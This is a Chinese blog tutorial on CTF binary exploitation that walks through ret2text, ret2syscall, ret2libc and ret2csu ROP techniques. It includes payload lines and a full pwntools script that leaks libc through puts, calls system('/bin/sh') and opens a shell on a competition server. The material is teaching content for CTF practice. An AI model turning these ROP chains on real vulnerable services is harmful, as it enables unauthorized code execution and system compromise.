pwn系列之ret2(四)


ret2

1.ret2介绍

ret2其实就是利用一些零散的gaget的来设置好参数并且调用我们需要的函数,下面介绍一个gaget

pop rdi
ret

这个ret是最最最重要的,因为有他我们才能跳来跳去,把gaget组装起来
找gaget有两个工具
第一个ROPgaget(安装了gdb-peda就有):

ROPgadget --binary 文件名 --only "要找的东西,比如pop rdi" 

第二个ropper:

ropper --file 文件名 --search "要找的东西"

安装方法和更多功能在Github下方

2、ret2text

1、栈溢出
给一个题目,开了nx,其他没开,然后给了你system函数和binsh,那么这样我们就可以构造gaget来调好参数并且调用system函数
x86:

看这个图片,因为是32位,所以参数全部在栈上,所以我们直接把binsh地址放到栈上就行,要注意那"C"*4是把system的ret返回给覆盖,因为system结束是会有个ret的,所以要覆盖一下,这个可以根据情况看是否要覆盖为main函数地址来重新执行一遍函数,然后再放参数binsh的地址就行了
x64:

payload=p64(pop_rdi)+p64(binsh)#我们设置参数,64位的话前6个参数是要在6个固定的寄存器里的,剩下的才在栈上
payload+=p64(system_plt)运用pop rdi后面的ret到执行system函数那去

这样我们就成功的pwn了

3、ret2syscall

这个就是开了nx,然后没给你system函数和binsh,那我们怎么办?ret2syscalld(如果能泄露libc就当我没说
首先写入binsh,那我们就要调用read函数,然后找个可读可写的地方把binsh读入进去,然后再用execve来构造shell,这个可以去看看系列的第二篇,要注意,不管是x86还是x64,都要调寄存器

这个我们read函数直接查一下参数怎么调然后加上system发送就可以了,值得一说的就是我们在发送完payload还要发送binsh,所以为了避免两个合并在一起发送要加个sleep,让他暂停一会

4、ret2libc

这个也是开了nx然后没给你system和binsh,和上一个不同的就是上一个需要程序中有输入函数,而这一个刚好相反,需要有输出函数,鉴于上周比赛刚好有一题,我就拿那题来示范一下,先看ida:

也就是有三个选择,两个溢出,我们来看看溢出

也就是一个溢出是栈上,一个是arr那个地方,我不知道第二个有啥用,第一个就能pwn了,这个溢出是栈溢出,要注意是在v3那个地方开始,然后我们发下有输出函数,有输入函数,我选择的是ret2libc,当然retsyscall也行,我们来构思一下,首先利用puts这个输出函数泄露出puts的got表地址然后去找libc库是哪个,值得一提的是,这个不能用libcsearch,要去网站上查,然后我们找到libc后,直接用libc的binsh和system就好了。
exp:

from pwn import *
from LibcSearcher import LibcSearcher
from ctypes import *
context(os='linux', arch='amd64')
p = remote('123.56.242.200',10006)
elf=ELF('./pwn')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
read_got=elf.got['read']
read_plt=elf.plt['read']
pop_rdi=0x400a83
main=0x4007A7
p.recvuntil('>')
p.sendline(str(1))
p.recvuntil('here.')
payload=b'a'*0x18+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
print(p.recv())
puts_add=u64(p.recvuntil('\x0a')[:-1].ljust(8, b'\x00'))
p.recvuntil('>')
p.sendline(str(1))
p.recvuntil('here.')
sys=puts_add-0x2a300
binadd=puts_add+0x11d7b7
payload=b'a'*0x18+p64(pop_rdi)+p64(binadd)+p64(sys)
print(hex(binadd))
p.sendline(payload)
p.interactive()

5、ret2csu

不是每个程序都能找到足够多的gaget来让我们构造的,所以这时候我们就要来个万能gaget了,这个是libc有关的一个函数,也就是说你只要是动态链接的程序必有这段gaget,让我们来看看它

你看那个loc_400A76是不是可以调参数,再看看上面的loc_400A60还有个call,所以我们利用这个gaget就能够构造rop链了,给个栗子

payload=b'a'*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#我们这个puts函数只要调rdi就够了所以我们直接找0x400A83这个pop r15就够了
payload=b'a'*0x48+p64(pop6)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(binadd)+p64(0)+p64(mov3)+b'a'*56+p64(main)#这个我是再构造一个read函数,这时候我们所有的就都要了,从pop rbx开始,然后跳到上面的loc_400A60去也就是那个mov3,然后的a*56是因为我们A60执行完还会去执行下面的loc_400A76,那边有很多pop,所以要覆盖掉,要是直接用libc就不用这个了
p.send(payload)
p.recvuntil('bye~\x0a')
p.send('/bin/sh\0')
payload=b'a'*0x48+p64(pop_rdi)+p64(binadd)+p64(sys)#直接调用system


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM